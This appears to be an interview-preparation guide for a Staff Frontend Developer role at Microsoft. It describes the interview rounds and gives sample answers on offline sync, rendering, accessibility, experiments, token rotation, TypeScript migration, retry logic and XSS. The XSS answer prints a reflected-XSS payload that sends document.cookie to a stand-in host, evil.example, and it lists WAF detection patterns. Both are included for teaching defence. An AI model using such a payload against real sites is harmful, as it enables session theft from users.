Microsoft Staff Frontend Developer Interview Preparation Guide
Microsoft's Staff Frontend Developer interview process combines multiple technical and behavioral assessments designed to evaluate deep expertise, architectural thinking, and cross-functional impact. The process spans recruiter screening, technical phone screens, and 5-6 onsite rounds covering React/UI coding, algorithms, frontend system design, technical depth discussions, and behavioral evaluation. For Staff level, expectations focus on architectural decisions, performance optimization at scale, mentorship of senior engineers, and strategic contributions to platform evolution.
Interview Rounds
Recruiter Screening
What to Expect
Initial conversation with Microsoft recruiter to assess background, experience, career motivations, and cultural fit. This round confirms your interest in the Staff-level position and discusses compensation expectations, work location preferences, and availability. The recruiter will also screen for baseline technical credibility and relevant experience with large-scale web applications.
Tips & Advice
Prepare a clear narrative of your career progression emphasizing leadership moments and architectural influence. Research Microsoft's frontend-related products (Office web, Outlook web, Teams web client) and articulate genuine interest. Be prepared to discuss your experience at scale (millions of users, complex state management, performance optimization). For Staff level, emphasize mentorship and cross-team collaboration achievements.
Focus Topics
Motivation for Microsoft and Role Understanding
Understanding of Microsoft's frontend-heavy products and why this Staff position aligns with your goals
Practice Interview
Study Questions
Experience with Large-Scale Systems
Proven experience building applications serving millions of users with complex performance requirements
Practice Interview
Study Questions
Mentorship and Leadership Experience
Specific examples of mentoring senior engineers, leading technical initiatives, or shaping team culture
Practice Interview
Study Questions
Career Trajectory and Impact Stories
Clear examples of your progression to Staff level, major technical contributions, and influence on team direction
Practice Interview
Study Questions
Technical Phone Screen
What to Expect
45-60 minute technical phone screen focusing on algorithmic problem-solving and coding fundamentals. You'll be asked a LeetCode-style Medium to Hard problem (variations of array manipulation, graph traversal, or dynamic programming) to assess core data structures knowledge and JavaScript proficiency. For Staff level, the expectation is optimal solutions with clean code and ability to explain trade-offs.
Tips & Advice
Practice LeetCode Medium to Hard problems with focus on optimization. Write clean, production-quality code with proper variable naming and comments. Don't just solve the problem—discuss time/space complexity, alternative approaches, and edge cases. For Staff level, interviewers expect you to identify the most elegant solution quickly and explain why it's superior to naive approaches. Test your code mentally before declaring it complete.
Focus Topics
Complexity Analysis and Trade-offs
Ability to articulate time/space complexity, identify bottlenecks, compare solution approaches for scalability
Practice Interview
Study Questions
JavaScript-Specific Coding Patterns
Optimal use of ES6+ features (arrow functions, spread operator, destructuring), handling async operations, functional programming patterns
Practice Interview
Study Questions
LeetCode Medium/Hard Algorithms
Array manipulation, recursion/backtracking, dynamic programming, graph algorithms, sorting optimization
Practice Interview
Study Questions
Onsite Round 1: React/Frontend Coding
What to Expect
90-120 minute hands-on coding session implementing a React component or interactive UI feature. You'll build a feature like a notification system, search autocomplete, or interactive dashboard from scratch using React. The focus is on component architecture, state management patterns, and handling real-world complexity (API integration, loading states, error handling, edge cases). For Staff level, expectations include clean abstractions, performance-conscious decisions, and consideration of how this component fits into larger systems.
Tips & Advice
Structure your solution as production-ready code: separate concerns (components, hooks, utilities), use React best practices, handle edge cases (loading, errors, empty states), and consider performance (memoization, lazy loading if relevant). Ask clarifying questions upfront to understand requirements and constraints. For Staff level, showcase your ability to build extensible solutions—interviewers want to see if your code would scale if requirements doubled. Discuss trade-offs in your approach (controlled vs uncontrolled components, hook vs class component, state management strategy).
Focus Topics
Performance Optimization in React
Identifying performance bottlenecks, memoization strategies, code splitting, lazy loading, rendering optimization
Practice Interview
Study Questions
TypeScript in React
Strong typing of props, state, and callbacks; generic components; inferring types from component usage
Practice Interview
Study Questions
React State Management and Effects
useState and useEffect patterns; handling side effects; avoiding common pitfalls (stale closures, dependency arrays); performance optimization with useMemo/useCallback
Practice Interview
Study Questions
Handling Asynchronous Operations
API integration, loading/error states, request cancellation, debouncing/throttling, retry logic in React
Practice Interview
Study Questions
React Component Architecture
Designing reusable, composable components with clear responsibilities; separation of container and presentational logic; custom hooks for shared state logic
Practice Interview
Study Questions
Onsite Round 2: Algorithm and Data Structures
What to Expect
60-90 minute algorithmic coding interview covering LeetCode-style Medium to Hard problems. This round assesses your core computer science fundamentals and ability to solve novel problems under time pressure. Problems may involve graph traversal, dynamic programming, string manipulation, or complex data structure design. For Staff level, perfection in implementation and ability to optimize from first principles is expected.
Tips & Advice
Treat this like the phone screen but expect harder problems and higher standards. Solve at least 50-75 LeetCode problems in the Medium-Hard range before your interview. When you encounter a problem, first clarify constraints and requirements, then discuss multiple approaches before coding. Implement the optimal solution cleanly, test edge cases, and discuss complexity. For Staff level, the interviewer expects you to identify patterns and solve similar problems you may not have seen before. Don't get stuck—if you hit a wall, think out loud and explore different angles.
Focus Topics
String and Array Manipulation
Two-pointer techniques, sliding window, prefix/suffix optimization, pattern matching
Practice Interview
Study Questions
Graph Algorithms
DFS, BFS, topological sort, shortest path algorithms (Dijkstra), connected components
Practice Interview
Study Questions
Advanced Data Structures
Hash maps, trees (BST, balanced trees), heaps, graphs, tries; understanding when to use each structure
Practice Interview
Study Questions
Dynamic Programming
Problem decomposition, memoization, bottom-up approaches, optimizing space complexity
Practice Interview
Study Questions
Onsite Round 3: Frontend System Design
What to Expect
90-120 minute system design discussion where you architect a large-scale frontend feature or application. You might design the architecture for an email client (Outlook), collaborative document editor (Office), or large dashboard application. The focus is on component structure, state management approach, data flow, performance optimization, caching strategies, and scalability. For Staff level, you're expected to think holistically: how does this integrate with backend APIs, what are the performance implications, how do we handle offline scenarios, and how would this architecture scale with millions of concurrent users.
Tips & Advice
Start by clarifying requirements: user count, feature scope, performance targets, supported browsers, offline requirements, accessibility needs. Sketch your architecture: component hierarchy, state management solution, API contracts, caching strategy, performance optimization techniques. For Staff level, dive into trade-offs: monolithic vs micro-frontend architecture, state management options (Redux, Context, Zustand, etc.), real-time synchronization strategies, code splitting approaches. Be prepared to defend your choices and discuss what you'd do differently under different constraints. Show awareness of how frontend architecture impacts the entire system (backend API design, network efficiency, mobile considerations).
Focus Topics
Handling Real-time Features and Offline
Real-time synchronization mechanisms, conflict resolution, offline-first architecture, service workers for offline capability, data consistency
Practice Interview
Study Questions
Accessibility and Responsive Design at Architectural Level
Planning for accessibility from architecture (semantic HTML, ARIA patterns, keyboard navigation), responsive design strategies (mobile-first, breakpoint planning)
Practice Interview
Study Questions
Performance Optimization at Scale
Code splitting and lazy loading, bundle size optimization, image optimization, rendering performance (virtual scrolling, windowing), network optimization (compression, HTTP/2, CDN)
Practice Interview
Study Questions
State Management at Scale
When and why to use Redux, Zustand, Context API, Recoil, or MobX; state normalization; handling complex application state; offline-first patterns
Practice Interview
Study Questions
Frontend Architecture and Component Design
Large-scale component hierarchies, separating concerns (presentational vs container components, business logic isolation), avoiding prop drilling, composition patterns
Practice Interview
Study Questions
API Design and Data Fetching Strategies
RESTful API contract design, GraphQL considerations, pagination, real-time synchronization (WebSockets, Server-Sent Events), caching strategies (client-side, HTTP caching)
Practice Interview
Study Questions
Onsite Round 4: Technical Deep Dive
What to Expect
60-90 minute technical discussion with a principal engineer or senior architect focusing on JavaScript fundamentals, advanced web APIs, and frontend ecosystem knowledge. You'll discuss topics like prototypes and closures, async patterns, the event loop, browser APIs, performance metrics (Core Web Vitals), security vulnerabilities, and potentially build custom implementations (custom hooks, polyfills). For Staff level, this assesses your deep understanding of how the web platform works, not just how to use frameworks.
Tips & Advice
This round differentiates Staff from Senior engineers. Be prepared to explain the why behind JavaScript behaviors, not just the what. For example, if asked about closures, don't just define them—explain why they exist, memory implications, and how they're used in modern patterns. Be ready to implement complex features from scratch (useEffect polyfill, custom hooks, Promise implementation, event emitter). Discuss modern web APIs and when to use them (IntersectionObserver, ResizeObserver, MutationObserver, Web Workers). Show familiarity with browser internals (rendering pipeline, event delegation, microtasks vs macrotasks). For Staff level, the interviewer wants to see that you deeply understand the foundations and can solve novel problems by applying fundamental knowledge.
Focus Topics
Frontend Security
XSS prevention, CSRF protection, Content Security Policy, secure authentication patterns, dependency vulnerability management
Practice Interview
Study Questions
Performance and Web Vitals
Core Web Vitals (LCP, FID, CLS), monitoring and debugging performance, profiling tools, memory leaks, rendering performance, Network tab analysis
Practice Interview
Study Questions
Closures and Scope
Function scope, lexical scoping, closure formation, memory implications, closures in callbacks and async contexts
Practice Interview
Study Questions
Browser APIs and Web Platform
DOM API (traversal, manipulation, performance), Storage APIs (localStorage, IndexedDB), Fetch/XMLHttpRequest, IntersectionObserver, ResizeObserver, Web Workers
Practice Interview
Study Questions
Async Patterns and Event Loop
Callbacks, Promises, async/await, microtasks vs macrotasks, error handling in async code, concurrent operations, AbortController
Practice Interview
Study Questions
JavaScript Prototypes and Inheritance
Prototype chain, prototype-based inheritance, constructor functions vs classes, Object.create patterns, delegation vs cloning
Practice Interview
Study Questions
Onsite Round 5: Behavioral and Hiring Manager Round
What to Expect
60 minute behavioral interview with hiring manager covering collaboration, leadership, handling ambiguity, decision-making, conflict resolution, and alignment with Microsoft values. You'll discuss specific examples of mentoring senior engineers, influencing technical direction, managing complex projects, and driving impact across teams. For Staff level, the focus is on demonstrating how you've contributed strategically and elevated those around you.
Tips & Advice
Prepare 6-8 compelling stories that demonstrate Staff-level impact: mentoring a senior engineer through a career transition, unblocking a team stuck on architectural decisions, driving adoption of new standards or technologies, improving team velocity significantly, or navigating complex cross-team dependencies. Use the STAR method (Situation, Task, Action, Result) but keep focus on your leadership and influence, not just task completion. For Staff level, emphasize how you identified systemic issues and improved processes or architecture for everyone. Be authentic about failures—how did you learn and improve? Show genuine curiosity about the role and Microsoft's mission. Ask thoughtful questions about team structure, technical direction, and how you'd contribute.
Focus Topics
Collaboration Across Teams
Working with backend teams on API design, partnering with designers on implementation feasibility, influencing product roadmap
Practice Interview
Study Questions
Impact and Ownership
Examples of measurable impact (performance improvements, user satisfaction, velocity gains), taking ownership of problems beyond direct responsibility
Practice Interview
Study Questions
Handling Ambiguity and Complexity
Making decisions with incomplete information, navigating conflicting priorities, driving clarity when scope is unclear
Practice Interview
Study Questions
Mentorship and Influence
Specific examples of mentoring senior engineers, helping teammates grow, influencing technical decisions without direct authority
Practice Interview
Study Questions
Technical Leadership and Advocacy
Proposing and driving adoption of new technologies, standards, or processes; building consensus across teams; pushing back on bad decisions respectfully
Practice Interview
Study Questions
Frequently Asked Frontend Developer Interview Questions
System-design: Design a client-side strategy for an offline-first Progressive Web App that supports creating and editing content offline, queues operations, retries with exponential backoff, and achieves eventual consistency with the server. Describe storage choices, queue format, conflict detection, UI feedback for sync status, and how to bound queue size.
Sample Answer
High-level approach
Use an offline-first client with Service Worker + Background Sync for retries, IndexedDB as single source-of-truth, an operation queue (op-log) persisted in IndexedDB, optimistic UI updates, server-side versioning, and conflict resolution strategies (merge or manual).
Storage choices
- IndexedDB (via idb or localForage) for documents, metadata, and the op queue — durable, large, works offline.
- Cache API / blob storage for attachments.
- In-memory indices for UI performance; rebuild from IndexedDB on startup.
Queue format (op-log item)
- id (uuid), docId, type (create/edit/delete), payload (delta or full), baseVersion (server version client knew), clientTs, retryCount, backoffUntil, status (pending/processing/failed).
- Use deltas (patches) for small ops; occasionally emit full snapshot to simplify recovery.
Retry & backoff
- Background Sync + periodic sync when online.
- Exponential backoff:
- backoffMs = base * 2^retryCount + jitter
- update backoffUntil; stop after maxRetries => mark failed and surface to user.
- Use BroadcastChannel or postMessage to update open tabs.
Conflict detection & resolution
- Detect: server responds with 409 + currentVersion or returns divergent patches.
- Strategies:
- For structured documents, use CRDT (Automerge/Yjs) to auto-merge.
- For text-only, use OT/CRDT library or three-way merge using baseVersion + client patch.
- Fallback: present human-readable diff and allow the user to accept/merge.
- Always store both server and local versions so UI can show a conflict view.
UI feedback
- Per-document status badges: Pending (spinner), Syncing, Synced (green), Failed (red), Conflict (yellow).
- Inline indicators for specific fields changed offline.
- Actionable conflict modal: show local vs server, quick-merge suggestions, accept server/local, or manual edit.
- Toasts for global sync errors and progress bar for batch sync.
Bounding queue size
- Collapse ops: consolidate consecutive edits to same doc into one op (apply patch squashing).
- Periodic snapshotting: after N ops compress into a single snapshot and remove prior ops.
- Hard caps (e.g., 500 ops or X MB): when reached, evict oldest non-critical ops or prompt user to sync/clear.
- Respect browser storage quota APIs; surface warnings if nearing quota.
Why this works (frontend perspective)
- IndexedDB + Service Worker gives durable offline UX; optimistic updates keep UI responsive; op-log + versioning makes sync deterministic; CRDT/merge strategies reduce manual conflict load; UI signals keep users informed and able to act.
Given a set of DOM and CSS operations, classify whether each triggers a repaint, a reflow/layout, or both. Example operations: changing transform, changing element width via style, changing color (background-color), reading offsetWidth, toggling display:none, toggling visibility:hidden, and adding/removing a class that affects layout.
Sample Answer
Approach (brief)
I’ll classify each operation as causing: Repaint only (visual paint), Reflow/Layout (layout calculation; implies repaint), or Both. Reflow = expensive; reading certain layout properties can force synchronous layout.
Classifications and reasoning
- changing transform → Repaint only (compositor/paint; does not change layout; often GPU-accelerated)
- changing element width via style → Reflow/Layout (changes geometry → layout + repaint; may cascade to children/ancestors)
- changing color (background-color) → Repaint only (visual paint; no layout change)
- reading offsetWidth → Triggers synchronous Reflow/Layout (reading layout measurement forces browser to flush pending style/layout updates before returning value)
- toggling display: none → Reflow/Layout (removes/adds from layout flow → full layout + repaint)
- toggling visibility: hidden → Repaint only (element still in flow; only visual change; no reflow)
- adding/removing a class that affects layout → Reflow/Layout (if the class changes geometry-related properties like width/margin; otherwise may be repaint-only if only color/opacity)
Tips for interviews / performance
Mention that layout triggers are transitive and costly; prefer transform/opacity for animations and avoid frequent style reads that force layout.
Explain accessible form control patterns: explicit labels, label positioning, when to use aria-labelledby or aria-describedby, why placeholders are not substitutes for labels, required-field indicators, and how to associate error messages programmatically for screen readers.
Sample Answer
Direct answer. Every form control needs a programmatically associated label, not just a visually adjacent one, using an explicit <label for="id"> (or wrapping the control), because a screen reader announces the control's accessible name from that association, not from proximity on screen. Placeholders are not a substitute for a label because the text disappears once the user starts typing, defeating anyone who needs to glance back at what the field is for.
Label positioning and association.
- Explicit association:
<label for="email">Email</label><input id="email">. This is preferred because it also makes the label clickable, which expands the effective click/tap target for the field. aria-labelledbyis used when the visible label text lives somewhere other than a<label>element, e.g. a table where a column heading serves as the label for several inputs in that column:<input aria-labelledby="col-quantity row-3">.aria-describedbysupplements the accessible name with additional context (helper text, format hints, error messages) without replacing the name; it's read after the name, not instead of it.
Why placeholders fail as labels, verified.
import { JSDOM } from 'jsdom';
const dom = new JSDOM('<input id="email" type="text" placeholder="Email address">');
global.window = dom.window; global.document = dom.window.document;
const { default: axe } = await import('axe-core');
const results = await axe.run(document.documentElement, { runOnly: { type: 'rule', values: ['label'] } });
console.log(results.violations.map(v => v.id)); // []
console.log(results.passes.map(v => v.id)); // ['label']
Running this against a placeholder-only input confirmed something non-obvious: it does NOT trigger axe's "label" violation (violations is empty, passes includes label), because per the accessible-name computation spec, placeholder is a valid fallback naming source when nothing else is present, so the field technically has a name. That is precisely why automated testing alone catches only part of this problem: the real defect is not the absence of a name, it's the absence of a PERSISTENT, sufficiently-contrasted, always-visible one. The moment the user starts typing, that name-source is gone from view even though the accessible name (still read by a screen reader on refocus) remains, which is confusing for a sighted low-vision user relying on the visible text and unaffected for a screen-reader-only user, so the two failure modes are different populations.
Grouped inputs and required-field indication. For related fields (e.g. a billing address's street/city/state), wrap them in <fieldset> with a <legend> naming the group, so a screen reader announces the group context once rather than requiring each field's label to repeat "billing" redundantly. Mark required fields with the native required attribute (which most assistive technology announces as "required" automatically) plus a visible asterisk or "(required)" text, not color alone.
Associating error messages programmatically. Point aria-describedby at the error message's id, and add aria-invalid="true" on the field itself, so a screen reader announces both the field's name and its error state and description together when focus lands on it, e.g. "Email, invalid, required format is name@example.com."
A signup-form example. For a multi-field signup form: name and email get <label> associations plus aria-describedby pointing at format hints ("we'll never share this"); password gets a <fieldset> grouping the field with its visible requirements list; the whole form's submit button stays enabled but triggers field-level aria-invalid and a focus-move to the first invalid field on failed submission, so a screen reader user lands directly on the first problem instead of having to hunt for it.
Trade-offs and pitfalls. A placeholder passing automated checks does not mean it's acceptable practice; treat "axe passed" as necessary, not sufficient, evidence for form-field naming quality.
Design an A/B experiment to measure the real-world effect of implementing lazy-loading for images and route-based code-splitting on LCP and CLS. The design should cover traffic allocation, tagging users into groups, instrumentation of metrics, required sample size estimation, statistical significance approach, duration, and guardrails to avoid negative UX outcomes.
Sample Answer
Situation & goal
Measure real-world impact of lazy-loading images + route-based code-splitting on LCP (Largest Contentful Paint) and CLS (Cumulative Layout Shift) while protecting UX.
Traffic allocation & groups
- 3-arm RCT: Control (current), Variant A (lazy-load images), Variant B (lazy-load + route-based code-splitting).
- Allocate 20% each to A and B, 60% to Control for safety and quicker baseline — adjust if capacity allows 33/33/33.
Tagging users
- Assign persistent client-side experiment_id via server-set cookie or localStorage with server-side fallback for signed-in users.
- Include experiment_id and timestamp in telemetry events.
Instrumentation
- Capture LCP and CLS using PerformanceObserver (browser API) and send beacon on pagehide/visibilitychange.
- Also record: first input delay (FID), Time to Interactive (TTI), resource timing (image sizes, payload), device type, network effective type (4G/3G), route path.
- Include UX guard metrics: error rates, bounce rate within 30s, session duration, engagement (clicks).
Sample size estimation
- Use baseline LCP mean μ and std σ from telemetry. For detecting a delta d (e.g., 100 ms) at 80% power, 2-sided α=0.05, per-arm sample:
n = 2 * (Z_{1-α/2} + Z_{power})^2 * σ^2 / d^2
- Example: σ=400ms, d=100ms → n ≈ 2*(1.96+0.84)^2*(400^2)/(100^2) ≈ ~1250 users per arm (adjust for clustering and heavy-tailed LCP by using median bootstrap).
Statistical approach
- Pre-register primary metrics: median LCP, 75th-percentile CLS. Use non-parametric bootstrap for medians and percentiles; report effect size and 95% CI. Control family-wise error for two comparisons (Benjamini-Hochberg or Bonferroni).
- Analyze subgroups (mobile/desktop, slow networks) as secondary, flagged a priori.
Duration
- Run until sample size met across segments and at least 2 full weeks to capture weekly cycles and caching effects.
Guardrails & rollout safety
- Real-time monitoring dashboard with alerting for:
-
10% increase in bounce or error rate
- Regression in median LCP >200ms or CLS >0.1
-
- Kill switch to instantly revert on alerts.
- Gradual ramp: start with 1% internal users → 5% beta → full experiment.
- A/B test only in browsers supporting native lazy-loading; polyfill path treated as separate analysis.
Interpretation & rollout
- If significant improvement without UX regressions, roll out B progressively; otherwise iterate (tweak thresholds, preload critical images, reserve LCP-critical resources).
Describe a refresh-token rotation strategy to mitigate stolen refresh tokens. Explain how rotation works (issue a new refresh token on use and invalidate the old one), how to detect token reuse and revoke sessions, where to store refresh tokens, and how the frontend should handle rotation failures and logout flows.
Sample Answer
Overview / Goal
Describe a refresh-token rotation strategy so stolen refresh tokens cannot be reused to maintain sessions.
How rotation works
- On successful token refresh the server:
- Issues a new access token and a new refresh token.
- Stores the new refresh token server-side (e.g., DB or cache) tied to session id and rotates its identifier.
- Marks the old refresh token as used/invalidated (single-use).
- Client replaces the stored refresh token with the new one immediately after a successful refresh.
Detecting reuse & revoking sessions
- Server records metadata (token id, issued_at, rotated_from, IP, UA). If an incoming refresh token is already marked used:
- Treat as token theft: revoke the entire session and any related tokens.
- Optionally notify user (email) and require re-authentication.
- Keep a short audit trail and rotate session identifiers.
Where to store refresh tokens (frontend)
- Prefer httpOnly, Secure, SameSite=strict cookies for refresh tokens to mitigate XSS.
- Access tokens can live in memory (e.g., React state or Redux) to limit persistence.
- If using cookies, front-end sends fetch with credentials: 'include' and relies on server to set new cookie on refresh.
Frontend handling: rotation failures & logout
- On refresh success: update in-memory access token; if cookie-based refresh token, no client write needed.
- On refresh failure (invalid/used token): treat as compromised — force full logout, clear client state, redirect to login, show a clear message like “Session expired or security issue — please sign in again.”
- Implement exponential backoff + one retry for transient network errors, but if server responds 401/403 revoke session immediately.
- Provide explicit logout: call logout endpoint to clear server session and instruct client to clear local state and cookies.
Frontend implementation notes
- Use a central refresh handler (single in-flight refresh promise) to avoid race conditions.
- Protect against token swapping: queue API calls while refresh in progress.
- Log (client-side) anomolous refresh failures to monitoring for detection.
Outline an incremental strategy to migrate a large JavaScript frontend codebase to TypeScript while minimizing disruption. Include recommended tsconfig starter options (such as allowJs and gradual strictness), how to handle third-party JS libraries without types, file-by-file conversion approach, CI gating, and developer onboarding considerations.
Sample Answer
Strategy overview
Start non-disruptively: enable TypeScript to coexist with JS, convert files incrementally, add CI type-checks progressively and support devs with tooling and docs.
Starter tsconfig
Use permissive settings, then tighten:
{
"compilerOptions": {
"allowJs": true,
"checkJs": false,
"noEmit": true,
"isolatedModules": true,
"jsx": "react",
"module": "esnext",
"target": "es2020",
"skipLibCheck": true,
"incremental": true,
"strict": false,
"esModuleInterop": true
},
"include": ["src/**/*"]
}
Enable "checkJs": true and some strict flags later per-package.
File-by-file approach
- Pick low-risk areas (utils, small components).
- Rename .js -> .ts or .tsx and fix obvious type errors.
- Replace implicit any with narrow types; prefer simple interfaces initially.
- Use // @ts-expect-error temporarily for hard spots, track and remove.
- Commit small PRs (single module or feature) with tests.
Third-party libs without types
- Install @types/* from DefinitelyTyped when available.
- Add minimal local declarations: create src/types/*.d.ts with
declare module 'some-lib'; - Use JSDoc typings or write small hand-rolled types for critical surfaces.
- For complex libs, wrap usage in a typed adapter.
CI gating
- Stage 1: run ESLint + unit tests, no type-check blocking.
- Stage 2 (after core conversion): add
tsc --noEmitjob for changed packages/files. - Enforce per-PR type errors; fail only if new files or modified areas introduce errors.
- Add a nightly full-typecheck; require fixes before major release.
Developer onboarding
- Provide checklist, coding guidelines, sample conversions.
- Share editor config, tsserver tips, and codemods (jscodeshift/TS-Migrate).
- Hold live pairing sessions and office hours.
- Track migration progress in a dashboard; celebrate milestones.
This incremental plan minimizes disruption while moving the codebase to stronger typing over time.
Describe a technical decision you had to make without complete information. Stakeholders disagreed on how much risk was acceptable. How did you reach a recommendation, and how did you communicate the uncertainty that remained?
Sample Answer
Direct answer
I separate the decision into what's actually unknown, what's knowable in the time available, and what we simply have to accept as risk, then I get stakeholders to state their risk tolerance in concrete terms instead of arguing about the plan in the abstract. I make the recommendation defensible by documenting the assumptions and the trigger conditions that would make us reverse it, so the reasoning survives even if the outcome doesn't.
How I structure a decision with incomplete information
- List the knowns, the unknowns, and what each unknown costs if it goes the wrong way. Not every unknown is worth resolving; the ones worth spending time on are the ones whose failure mode is expensive.
- Turn "how much risk is acceptable" into a concrete question. Instead of asking stakeholders whether they're comfortable with risk, I ask what specific loss they can tolerate and what signal would tell us we crossed the line. That turns a values disagreement into a measurable threshold people can actually agree on.
- Pick the option whose worst case is recoverable, not the option with the best expected case, when the unknowns are large. A decision that can be cheaply undone is worth more than its expected value suggests, because it buys time to learn the thing you don't currently know.
- Write the recommendation down with its assumptions and its reversal trigger, before the rollout starts, not after. If I'm wrong, the paper trail should make it obvious what changed, not just that it failed.
Worked example
A team was migrating a sharded datastore to a new partitioning scheme ahead of a growth push, and the traffic pattern for the new user segment driving that growth wasn't fully characterized yet: we had projections, not production data. Product wanted to cut over before the segment launched to avoid a second migration later; the SRE team wanted to wait for real traffic data before committing to a partition key, worried about a bad key choice causing hot shards that would need a second, more disruptive migration to fix.
I laid out the actual unknowns: how skewed the new segment's access pattern would be, and how expensive a second migration would be if the first key choice was wrong. I asked the SRE team to state the concrete failure mode they were protecting against (sustained P99 latency degradation on the hottest shard) and asked product what loss was acceptable if we waited (a fixed number of weeks of delay to the growth push). Both were quantifiable once stated that way. I recommended a phased cutover: migrate on the best-available projected key, but keep the old sharding scheme's routing code live and instrument shard-level load so we would have real signal within the first two weeks of the new segment's traffic, with an explicit threshold (sustained shard imbalance past a set point) that would trigger a second, corrective repartition rather than an emergency one. I documented the projection we used, why we chose it over waiting, and the exact signal that would tell us it was wrong.
Trade-offs and pitfalls
- Treating "we don't have enough data" as a reason to wait indefinitely. Waiting has a cost too; the discipline is comparing the cost of waiting against the cost of a wrong guess you can detect and correct quickly.
- Letting the loudest stakeholder's risk tolerance become the default. Stating tolerance in concrete, comparable terms is what prevents the decision from just reflecting whoever argued longest.
- Skipping the instrumentation that would tell you if you were wrong. A phased decision without a real signal to watch is not actually phased, it's just a delayed all-at-once bet.
- Documenting the decision but not the trigger for reversing it. A record of "why we chose this" without "what would make us change it" doesn't actually reduce risk, it just explains the risk after the fact.
Write a retryFetch(url, options, retries, backoffBaseMs) function in JavaScript that attempts to fetch a resource and retries on transient failures (network errors and 5xx responses) with exponential backoff and jitter. Use AbortController to time out individual attempts. Stop retrying on non-retriable status codes (4xx) and reject the returned Promise with a descriptive error.
Sample Answer
Approach (brief)
- Attempt fetch up to
retriestimes. - For each attempt, use AbortController to enforce per-attempt timeout.
- Retry on network errors or 5xx responses; stop and reject on 4xx.
- Use exponential backoff with full jitter: delay = random(0, base * 2^attempt).
Implementation
// retryFetch.js
async function retryFetch(url, options = {}) {
const {
retries = 3,
backoffBaseMs = 200,
timeoutMs = 5000, // per-attempt timeout
fetchFn = fetch
} = options;
const isRetriableStatus = status => status >= 500 || status === 429;
for (let attempt = 0; attempt <= retries; attempt++) {
const controller = new AbortController();
const signal = controller.signal;
const attemptOptions = { ...options, signal };
// start timeout for this attempt
const timeout = setTimeout(() => controller.abort(), timeoutMs);
try {
const res = await fetchFn(url, attemptOptions);
clearTimeout(timeout);
if (res.ok) return res; // 2xx
if (!isRetriableStatus(res.status)) {
// 4xx or other non-retriable
const text = await res.text().catch(() => '');
throw new Error(`Non-retriable HTTP ${res.status}: ${text}`);
}
// retriable 5xx or 429 -> fallthrough to retry logic
const bodyPreview = await res.text().catch(() => '');
if (attempt === retries) {
throw new Error(`Failed after ${attempt + 1} attempts. Last status ${res.status}: ${bodyPreview}`);
}
} catch (err) {
clearTimeout(timeout);
// If abort due to timeout, treat as transient
const isAbort = err.name === 'AbortError';
const isNetworkErr = err instanceof TypeError || isAbort;
if (!isNetworkErr && err.message && err.message.startsWith('Non-retriable')) {
// bubble up non-retriable errors
throw err;
}
if (attempt === retries) {
throw new Error(`Failed after ${attempt + 1} attempts: ${err.message}`);
}
// else fallthrough to delay+retry
}
// exponential backoff with full jitter
const maxDelay = backoffBaseMs * Math.pow(2, attempt);
const delay = Math.floor(Math.random() * maxDelay);
await new Promise(r => setTimeout(r, delay));
}
}
export default retryFetch;
Key points / complexity
- Time: up to O(retries) network attempts; Wall-clock depends on backoff and timeouts.
- Space: O(1).
- Edge cases: large response bodies (use text() cautiously), aborted controller cleanup, distinguishing network vs non-retriable HTTP 4xx.
- Alternatives: capped backoff, decorrelated jitter, or use libraries like axios-retry for advanced policies.
Explain the three types of Cross-Site Scripting (stored, reflected, and DOM-based): how each one arises in source code and executes at runtime, how they map to CWE-79, and the concrete mitigations you would apply for each (output encoding, safe templating, Content Security Policy, sanitization libraries).
Sample Answer
Direct answer: Cross-Site Scripting (XSS) happens when an application takes attacker-influenced data and lets it execute as script in a victim's browser. There are three forms, distinguished by where the malicious payload lives and how it reaches the browser: stored (persisted on the server and served to other users), reflected (bounced straight back in the same response, e.g. in a search results page), and DOM-based (never touches the server at all; a client-side script reads attacker-controlled input, such as location.hash, and writes it into the page unsafely). All three map to CWE-79 (Improper Neutralization of Input During Web Page Generation).
How each arises and runs:
- Stored XSS: a comment field, profile bio, or support ticket is saved unescaped and later rendered to other users. Every visitor who views that page executes the payload. This is the most damaging form because it needs no social engineering; the victim just has to browse to a normal page.
- Reflected XSS: user input from the URL or a form field is echoed back into the HTML response without encoding, for example a "no results for
<search term>" message. The attacker has to trick a victim into clicking a crafted link that carries the payload. - DOM-based XSS: the vulnerable code path never reaches the server. A script reads something attacker-controlled (URL fragment,
document.referrer, a postMessage payload) and writes it into the DOM via a "sink" likeinnerHTMLordocument.write. Because it is entirely client-side, server-side output encoding alone doesn't stop it; the fix has to be in the JavaScript itself.
Worked example. A page renders search results with <p>No results for "${query}"</p> built by direct string concatenation on the server. A request for ?q=<script>document.location='//evil.example/steal?c='+document.cookie</script> gets echoed verbatim. The browser parses the <script> tag as part of the page and executes it, sending the victim's session cookie to the attacker's server. This is reflected XSS: the payload lives entirely in the URL, and the server just bounces it back.
Mitigations, from most to least fundamental:
- Context-aware output encoding at the point of insertion - HTML-entity-encode for text nodes, JavaScript-string-encode inside
<script>blocks, URL-encode inhref/srcattributes. Encoding the wrong context (e.g. HTML-encoding something placed inside a<script>tag) is a common way this still fails. - Safe templating and frameworks - modern templating engines (Jinja2 autoescape, React's JSX text nodes, Vue's
{{ }}interpolation) HTML-encode by default; the danger is almost always a deliberate escape hatch (|safe,dangerouslySetInnerHTML,v-html). - Content Security Policy (CSP) as defense in depth - a strict policy (no
unsafe-inline, nonce- or hash-based script allowlisting) means an injected<script>tag simply won't execute even if the encoding step is missed somewhere. - Sanitization libraries (e.g. DOMPurify) when you must accept some HTML, such as rich-text comments; never hand-roll an HTML sanitizer with regex, it will miss parser edge cases.
Trade-offs and pitfalls: encoding once at storage time and again at render time can double-encode and mangle legitimate content (an & becomes &amp;); the discipline is to store raw and encode only at output, per context. CSP is powerful but easy to weaken accidentally - a single unsafe-inline added to unblock a third-party analytics snippet reopens the whole class. On a modern single-page application, DOM-based XSS is now the more common real-world finding than server-reflected XSS, because so much rendering happens client-side; teams that only audit their server templates for encoding miss it entirely. Detection: for stored/reflected, grep for output sinks that don't go through the templating layer's auto-escaping; for DOM-based, trace every innerHTML/outerHTML/document.write/eval call back to its data source, and in a running app, browser devtools' "break on attribute modification" plus tools like DOMPurify's own test payloads help confirm a sink is genuinely reachable from attacker-controlled input.
For operational detection at runtime (useful when your own team runs a distributed system and wants defense in depth beyond code review): watch for a spike in requests carrying <script, javascript:, or onerror= patterns at the edge (WAF rules - a Web Application Firewall matching known attack signatures), and use DAST (Dynamic Application Security Testing) scans in CI to catch reflected cases before they ship. These controls catch what slips past code review; they are not a substitute for encoding at the source, since a sufficiently obfuscated payload (unicode escapes, case variation) will slip past a naive WAF signature.
